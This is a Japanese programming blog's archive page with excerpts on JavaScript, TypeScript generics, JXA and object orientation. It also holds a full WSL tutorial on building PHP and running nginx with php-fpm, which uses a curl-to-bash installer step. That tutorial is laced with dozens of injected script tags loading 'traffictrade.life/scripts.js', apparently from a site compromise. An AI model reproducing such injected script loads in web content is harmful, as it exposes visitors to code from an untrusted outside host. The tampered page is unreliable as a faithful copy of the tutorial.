2017年05月一覧

プログラミングの目的と手段

プログラミングをやるとき、たまにブレーキがかかって、作業が停滞するときがあります。 ブレーキの原因と解決策を検討してみました。 目的と手段を混同しない やる気を生み出す目的 タスクのブレークダウン アクセルとブレーキ 目的と手段を混同しない もくてき【目的】の意味 - goo国語辞書 1 実現しようとしてめざす事柄。行動のねらい。めあて。 [用法] 「目的」は、「目標」に比べ抽象的で長期にわたる目あてであり、内容に重点を置いて使う。「人生の目的を立身出世に置く」 「目標」は、目ざす地点・数値・数量などに重点があり、「目標は前方三〇〇〇メートルの丘の上」「今週の売り上げ目標」のようにより具体的で…

プロトタイピング=試作品の制作を気軽に始めてみよう!

JavaScript学習に役立つお話がありました。 「プロトタイピング」でプログラムを試作する練習について紹介されています。 www.webprofessional.jp (前回に引き続き、今回もこのお話から学んでみたいと思います。) jsstudy.hatenablog.com アプリ作成の進め方として、以下の手順が紹介されています。 最初に基本を身に着けよう 計画を立てる コード無しで書いていく 小さな部分に分けて製作する 各パーツを結合する 実験とテスト 外部の助けを求める コードのリファクタリング(再構築) 試行錯誤の重要性 現実には、プロジェクトは完璧なコードをガンガン書くことではな…

TypeScriptの総称型(Generic Type)

JavaScript学習のついでに、TypeScriptも学んでみます。 今日は、TypeScriptの「総称型」という機能について調べてみました。 総称型とは? 総称型の仕組み 型引数とは? 型の情報(種類)を入れておく変数 用語 総称型とオーバーロードの違い (1)似た機能の関数がバラバラに用意されている状態 (2)引数を使って似た機能をまとめた関数 (3)引数のデータ型が違うけど、機能が似ている関数 (4)「Any型」で全部の型を引き受けられる関数 (5)オーバーロードで型チェックを実現した関数 オーバーロード(多重定義)とは? シグネチャーとは? (6)総称型でオーバーロードした関数を…

JavaScriptでmacOSを自動操作できるJXA

JavaScriptに、ちょっと便利な用途がありました! Macには、操作を自動化できるAppleScriptという道具が用意されています。 このAppleScriptの代わりに、JavaScriptも使えるようになっていました。 JavaScript for Automation (JXA)とは? qiita.com AppleScriptの代わりにJavaScriptを使えるようになってました。 Yosemiteからの新機能だそうです。 JXAとも呼ばれています。 そもそも、AppleScriptって何? AppleScript - Wikipedia AppleScript(アップルスク…

Windows Subsystem for Linux上でphp-fpmを動かしてみた

<div> <p>&#26368;&#36817;&#12398;Windows 10&#12395;&#12399;Linux&#12496;&#12452;&#12490;&#12522;&#12434;&#12381;&#12398;&#12414;&#12414;&#21205;&#12363;&#12377;&#12424;&#12358;&#12394;&#20181;&#32068;&#12415;&#12364;&#23566;&#20837;&#12373;&#12428;&#12390;&#12356;&#12414;&#12377;&#12290;&#12371;&#12428;&#12399; Windows Subsystem for Linux (WSL) &#12392;&#12363; Bash on Ubuntu on Windows (BoW) &#12394;&#12393;&#12392;&#21628;&#12400;&#12428;&#12390;&#12356;&#12427;&#12418;&#12398;&#12391;&#12289;VM&#23455;&#34892;&#12391;&#12394;&#12367;Windows&#12493;&#12452;&#12486;&#12451;&#12502;&#12391;Linux&#12434;&#21205;&#12363;&#12377;&#12392;&#12356;&#12358;&#24847;&#27442;&#30340;&#12394;&#21462;&#12426;&#32068;&#12415;&#12391;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12371;&#12398;&#29872;&#22659;&#12391;&#26368;&#26032;&#29256;&#12398;PHP&#12434;&#12477;&#12540;&#12473;&#12467;&#12540;&#12489;&#12363;&#12425;&#12499;&#12523;&#12489;&#12375;&#12289;&#12450;&#12503;&#12522;&#12465;&#12540;&#12471;&#12519;&#12531;&#12469;&#12540;&#12496;&#12392;&#12375;&#12390;&#21205;&#20316;&#12373;&#12379;&#12390;&#12415;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#26412;&#31295;&#22519;&#31558;&#26178;&#28857;&#65288;2017&#24180;5&#26376;&#65289;&#12391;&#12399;WSL&#33258;&#20307;&#12364;&#12414;&#12384;&#19981;&#23433;&#23450;&#12394;&#21360;&#35937;&#12391;&#12377;&#12364;&#12289;nginx+php-fpm&#12434;&#21205;&#20316;&#12373;&#12379;&#12427;&#12371;&#12392;&#12364;&#12391;&#12365;&#12414;&#12375;&#12383;&#12290;&#20197;&#19979;&#12399;Windows&#12398;localhost 80&#30058;&#12509;&#12540;&#12488;&#12391;PHP&#12364;&#21205;&#20316;&#12375;&#12390;&#12356;&#12427;&#35388;&#25312;&#30011;&#20687;&#12391;&#12377;&#12290;&#12300;System&#12301;&#27396;&#12398;uname&#12398;&#34920;&#31034;&#12395;Microsoft&#12392;&#12356;&#12358;&#25991;&#23383;&#21015;&#12364;&#20837;&#12387;&#12390;&#12356;&#12427;&#12398;&#12364;&#12458;&#12471;&#12515;&#12524;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://f.hatena.ne.jp/hnw/20170502120845" target="_blank"><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><img src="http://cdn-ak.f.st-hatena.com/images/fotolife/h/hnw/20170502/20170502120845.png" alt="f:id:hnw:20170502120845p:image" title="f:id:hnw:20170502120845p:image"></a></p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#20197;&#19979;&#12289;WSL&#19978;&#12391;nginx+php-fpm&#12434;&#21205;&#12363;&#12377;&#12414;&#12391;&#12398;&#25163;&#38918;&#12434;&#32057;&#20171;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> WSL&#12398;&#12475;&#12483;&#12488;&#12450;&#12483;&#12503;</h4> <p>&#12300;<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://msdn.microsoft.com/en-us/commandline/wsl/install_guide" target="_blank">Bash on Ubuntu on Windows - Installation Guide</a>&#12301;&#12395;&#24467;&#12387;&#12390;&#12475;&#12483;&#12488;&#12450;&#12483;&#12503;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> PHP&#12398;&#12499;&#12523;&#12489;</h4> <p>&#12414;&#12378;&#12399;WSL&#19978;&#12391;PHP&#12434;&#12499;&#12523;&#12489;&#12375;&#12390;&#12415;&#12414;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12467;&#12531;&#12497;&#12452;&#12523;&#28168;&#12415;&#12496;&#12452;&#12490;&#12522;&#12434;apt&#12391;&#12452;&#12531;&#12473;&#12488;&#12540;&#12523;&#12375;&#12390;&#12418;&#12356;&#12356;&#12398;&#12391;&#12377;&#12364;&#12289;&#26222;&#36890;&#12395;&#12499;&#12523;&#12489;&#12391;&#12365;&#12427;&#31243;&#24230;&#12395;WSL&#12364;&#23433;&#23450;&#12375;&#12390;&#12427;&#12398;&#12363;&#12394;&#65311;&#12392;&#12356;&#12358;&#33288;&#21619;&#12363;&#12425;&#33258;&#21069;&#12499;&#12523;&#12489;&#12375;&#12390;&#12415;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12414;&#12378;&#12399;&#24517;&#35201;&#12497;&#12483;&#12465;&#12540;&#12472;&#12434;&#12452;&#12531;&#12473;&#12488;&#12540;&#12523;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ sudo apt update $ sudo apt install build-essential libxml2-dev zlib1g-dev libcurl4-openssl-dev \ libjpeg62-dev libpng12-dev libmcrypt-dev libreadline-dev libtidy-dev \ libxslt1-dev libssl-dev libbz2-dev git autoconf </pre> <br><p>&#20170;&#22238;&#12399;phpenv+php-build&#12391;PHP&#12434;&#12499;&#12523;&#12489;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ curl -L https://raw.github.com/CHH/phpenv/master/bin/phpenv-install.sh | bash $ mkdir $HOME/.phpenv/plugins $ cd $HOME/.phpenv/plugins $ git clone https://github.com/php-build/php-build.git </pre> <br><p>&#19979;&#35352;&#12398;&#20869;&#23481;&#12434; <code>.bashrc</code> &#12395;&#36861;&#35352;&#12375;&#12390;&#12471;&#12455;&#12523;&#12434;&#20877;&#36215;&#21205;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> PATH=$HOME/.phpenv/bin:$PATH eval "$(phpenv init -)" </pre> <br><p>&#12354;&#12392;&#12399;phpenv&#32076;&#30001;&#12391;PHP&#12434;&#12499;&#12523;&#12489;&#12377;&#12427;&#12384;&#12369;&#12391;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ PHP_BUILD_EXTRA_MAKE_ARGUMENTS=-j4 phpenv install 7.1.4 </pre> <br><p>&#12499;&#12523;&#12489;&#12395;&#12399;&#12363;&#12394;&#12426;&#26178;&#38291;&#12364;&#12363;&#12363;&#12427;&#12398;&#12391;&#27880;&#24847;&#12375;&#12390;&#12367;&#12384;&#12373;&#12356;&#12290;&#31558;&#32773;&#12398;&#25163;&#20803;&#12398;&#12510;&#12471;&#12531;&#65288;Thinkpad X260&#12289;Intel Core i7 2.5GHz&#65289;&#12391;30&#20998;&#20197;&#19978;&#12363;&#12363;&#12426;&#12414;&#12375;&#12383;&#12290;&#21516;&#12376;&#12499;&#12523;&#12489;&#12364;12&#12452;&#12531;&#12481;MacBook&#65288;Early 2016&#12289;Intel Core m5 1.2GHz)&#12391;10&#20998;&#12434;&#20999;&#12427;&#12371;&#12392;&#12434;&#32771;&#12360;&#12427;&#12392;&#12289;&#12414;&#12384;&#12362;&#20181;&#20107;&#12391;&#20351;&#12360;&#12427;&#12524;&#12505;&#12523;&#12391;&#12399;&#12394;&#12356;&#21360;&#35937;&#12391;&#12377;&#12290;&#20170;&#24460;&#12398;&#12497;&#12501;&#12457;&#12540;&#12510;&#12531;&#12473;&#12481;&#12517;&#12540;&#12491;&#12531;&#12464;&#12395;&#26399;&#24453;&#12375;&#12414;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12385;&#12423;&#12387;&#12392;&#36933;&#12356;&#12371;&#12392;&#12434;&#38500;&#12369;&#12400;&#12289;&#12499;&#12523;&#12489;&#33258;&#20307;&#12399;&#27491;&#24120;&#12395;&#32066;&#20102;&#12375;&#12414;&#12377;&#12290;&#12371;&#12371;&#12414;&#12391;&#12399;&#26222;&#36890;&#12398;Linux&#12392;&#22823;&#24046;&#12354;&#12426;&#12414;&#12379;&#12435;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> nginx+php-fpm&#12398;&#35373;&#23450;</h4> <p>&#12388;&#12366;&#12395;&#12289;nginx&#12434;apt&#12391;&#12452;&#12531;&#12473;&#12488;&#12540;&#12523;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ sudo apt install nginx </pre> <br><p>&#35373;&#23450;&#12501;&#12449;&#12452;&#12523; <code>/etc/nginx/sites-enabled/default</code> &#12398;&#35373;&#23450;&#12398;&#12358;&#12385;&#12289;&#19979;&#35352;&#37096;&#20998;&#12398;&#12467;&#12513;&#12531;&#12488;&#12450;&#12454;&#12488;&#12434;&#22806;&#12375;&#12390;&#26377;&#21177;&#21270;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass 127.0.0.1:9000; } </pre> <br><p>nginx&#12434;&#20877;&#36215;&#21205;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ sudo service nginx restart </pre> <br><p>php-fpm&#12398;&#26041;&#12399;&#12487;&#12501;&#12457;&#12523;&#12488;&#12398;&#35373;&#23450;&#12501;&#12449;&#12452;&#12523;&#12434;&#12467;&#12500;&#12540;&#12375;&#12390;&#12381;&#12398;&#12414;&#12414;&#20351;&#12356;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ cd $HOME/.phpenv/versions/7.1.4/etc/ $ cp php-fpm.conf.default php-fpm.conf $ cp php-fpm.d/www.conf.default php-fpm.d/www.conf </pre> <br><p>&#19979;&#35352;&#12467;&#12510;&#12531;&#12489;&#12391;php-fpm&#12434;&#36215;&#21205;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> $ $HOME/.phpenv/versions/7.1.4/sbin/php-fpm </pre> <br><p>&#12371;&#12371;&#12391; <code>/var/www/phpinfo.php</code> &#12394;&#12393;&#12434;&#35373;&#32622;&#12377;&#12428;&#12400;&#12289;nginx&#32076;&#30001;&#12391;php-fpm&#12434;&#21033;&#29992;&#12377;&#12427;&#12371;&#12392;&#12364;&#12391;&#12365;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12383;&#12384;&#12375;&#12289;&#12371;&#12398;&#35373;&#23450;&#12384;&#12392;1&#31186;&#12395;1&#22238;&#19979;&#35352;&#12398;&#12456;&#12521;&#12540;&#12364;&#20986;&#32154;&#12369;&#12414;&#12377;&#12290;getsockopt(2) &#12398;&#23455;&#35013;&#12364;&#12414;&#12384;&#19981;&#23436;&#20840;&#12398;&#12424;&#12358;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> [01-May-2017 20:06:06] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92) [01-May-2017 20:06:07] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92) [01-May-2017 20:06:08] ERROR: failed to retrieve TCP_INFO for socket: Protocol not available (92) </pre> <br><p>TCP&#12391;&#12398;&#12503;&#12525;&#12475;&#12473;&#38291;&#36890;&#20449;&#12395;&#21839;&#38988;&#12364;&#12354;&#12427;&#12394;&#12425;unix domain socket&#12395;&#12377;&#12428;&#12400;&#12356;&#12356;&#12376;&#12419;&#12394;&#12356;&#12289;&#12392;&#32771;&#12360;&#12390;unix domain socket&#12418;&#35430;&#12375;&#12390;&#12415;&#12383;&#12398;&#12391;&#12377;&#12364;&#12289;<code>phpinfo()</code> &#12398;&#32080;&#26524;&#12364;&#36884;&#20013;&#12391;&#20999;&#12428;&#12390;&#12375;&#12414;&#12358;&#12424;&#12358;&#12391;&#12377;&#12290;&#12371;&#12385;&#12425;&#12418;&#23455;&#35013;&#12364;&#19981;&#23436;&#20840;&#12394;&#12424;&#12358;&#12391;&#12289;16KB&#36229;&#12398;&#12487;&#12540;&#12479;&#12364;&#12358;&#12414;&#12367;&#25201;&#12360;&#12394;&#12356;&#12392;&#12363;&#12289;&#12381;&#12435;&#12394;&#21046;&#38480;&#12364;&#12354;&#12426;&#12381;&#12358;&#12394;&#25369;&#21205;&#12395;&#35211;&#12360;&#12414;&#12375;&#12383;&#12290;TCP&#12398;&#26041;&#12364;&#12414;&#12384;&#23433;&#23450;&#12375;&#12390;&#12356;&#12427;&#29366;&#27841;&#12384;&#12392;&#12356;&#12360;&#12427;&#12391;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><h4> &#12414;&#12392;&#12417;</h4> <p>WSL&#12399;&#12414;&#12384;beta&#29256;&#12394;&#12398;&#12391;&#36942;&#24230;&#12398;&#26399;&#24453;&#12434;&#12377;&#12427;&#26041;&#12364;&#24746;&#12356;&#12392;&#35328;&#12360;&#12400;&#12381;&#12358;&#12394;&#12398;&#12391;&#12377;&#12364;&#12289;&#12414;&#12384;&#24615;&#33021;&#12364;&#20986;&#12394;&#12363;&#12387;&#12383;&#12426;&#26410;&#23455;&#35013;&#12398;&#12471;&#12473;&#12486;&#12512;&#12467;&#12540;&#12523;&#12418;&#12354;&#12387;&#12383;&#12426;&#12391;&#12289;&#12362;&#20181;&#20107;&#12391;&#20351;&#12360;&#12427;&#12424;&#12358;&#12395;&#12394;&#12427;&#26085;&#12399;&#36960;&#12356;&#12363;&#12394;&#12289;&#12392;&#12356;&#12358;&#21360;&#35937;&#12434;&#25345;&#12385;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12392;&#12399;&#12356;&#12360;&#12289;&#38263;&#26399;&#30340;&#12395;&#26399;&#24453;&#12391;&#12365;&#12427;&#25216;&#34899;&#12394;&#12398;&#12399;&#38291;&#36949;&#12356;&#12394;&#12356;&#12392;&#12371;&#12429;&#12391;&#12375;&#12423;&#12358;&#12290;&#12373;&#12425;&#12394;&#12427;&#23433;&#23450;&#12392;&#27491;&#24335;&#12522;&#12522;&#12540;&#12473;&#12364;&#24453;&#12385;&#36960;&#12375;&#12356;&#12391;&#12377;&#12397;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> </div>

オブジェクト指向の用語「プロパティ」「メソッド」

JavaScriptの勉強をしていて、説明の順番を変えた方がいいかも?と思われる箇所がありました。 →「オブジェクト」という仕組みと、その用語についてです。 jsstudy.hatenablog.com windowやdocumentなど、すべてのオブジェクトは、メソッド以外に「プロパティ」を持っています。 オブジェクトのプロパティとは、そのオブジェクトの状態を表すものです。 「オブジェクト」「プロパティー」「メソッド」…英語の専門用語がいきなりたくさん出てくると、訳が分からなくなるかも!? JavaScriptの教材を作る場合、 先に、データ構造(変数、定数、配列など)の話を出す。 次に、オ…

オブジェクト指向って便利なの?

プログラミングのやり方って、いろんな方法が考えられてきました。 何かを作るとき、ゼロから作るのは大変だけど、先人の努力や工夫を拝借して作ると、その分だけ楽ができますね! プログラミングのやり方はまだまだ発展途上=改善の余地があるんだろうけど、現状はどうなっているのでしょうか? shokuren.hateblo.jp オブジェクト指向のやってることはわかるけど、説明してる人の何が言いたいのかはわからん 疑問が2つ。 一人で作ってて、小規模な案件なら、むしろ書く量が増えて面倒だったりしません? なので、そうしないほうがいいこともある?というのが一つ。 腕が上がるとor効率化を図るといつの間にかオブ…

JavaScriptで継承を使わないプログラミングスタイル

JavaScriptでは「継承による差分プログラミング」はモダンではない、という意見がありました。 なるほど、「継承による差分プログラミング」を使わないスタイルもあるんですね?(参考になります) jsstudy.hatenablog.com オブジェクト指向って便利なの? - JavaScript勉強会 うへええええ継承による差分プログラミングとか現代に言わないでくれよ。しかも「JSはプロトタイプベースのOOP」を初めとして間違いが多いぞ 2017/03/27 09:42 b.hatena.ne.jp (1) 継承による差分プログラミングは、現代では廃れた古い手法? (2) JavaScrip…

JavaScriptはプロトタイプベースのオブジェクト指向プログラミング言語ではない!?

先日のブログ記事に、たくさんのブックマークをいただきました。 どうもありがとうございます★★★ jsstudy.hatenablog.com ブックマークのコメントで、こんな意見がありました。 オブジェクト指向って便利なの? - JavaScript勉強会 うへええええ継承による差分プログラミングとか現代に言わないでくれよ。しかも「JSはプロトタイプベースのOOP」を初めとして間違いが多いぞ 2017/03/27 09:42 なるほど、そういう見方もあるんですね?(参考になります) (1) 継承による差分プログラミングは、現代では廃れた古い手法? (2) JavaScriptはプロトタイプベー…

プログラミング学習で擬似コードを活用しよう!

JavaScript学習に役立つお話がありました。 「擬似コード」でロジックを書き出す練習について紹介されています。 www.webprofessional.jp JavaScriptに限らず、プログラミングの基本を学んだら何か動くモノ(プライベートプロジェクト)を作ってみたくなります。でも実際にどうやって進めたらいいのでしょうか? 現実には、プロジェクトは完璧なコードをガンガン書くことではなく、たくさんの試行錯誤とリファレンスを幾度も参照して少しずつできあがるものなのです。 アプリ作成の進め方として、以下の手順が紹介されています。 最初に基本を身に着けよう 計画を立てる コード無しで書いてい…

– PR –
– PR –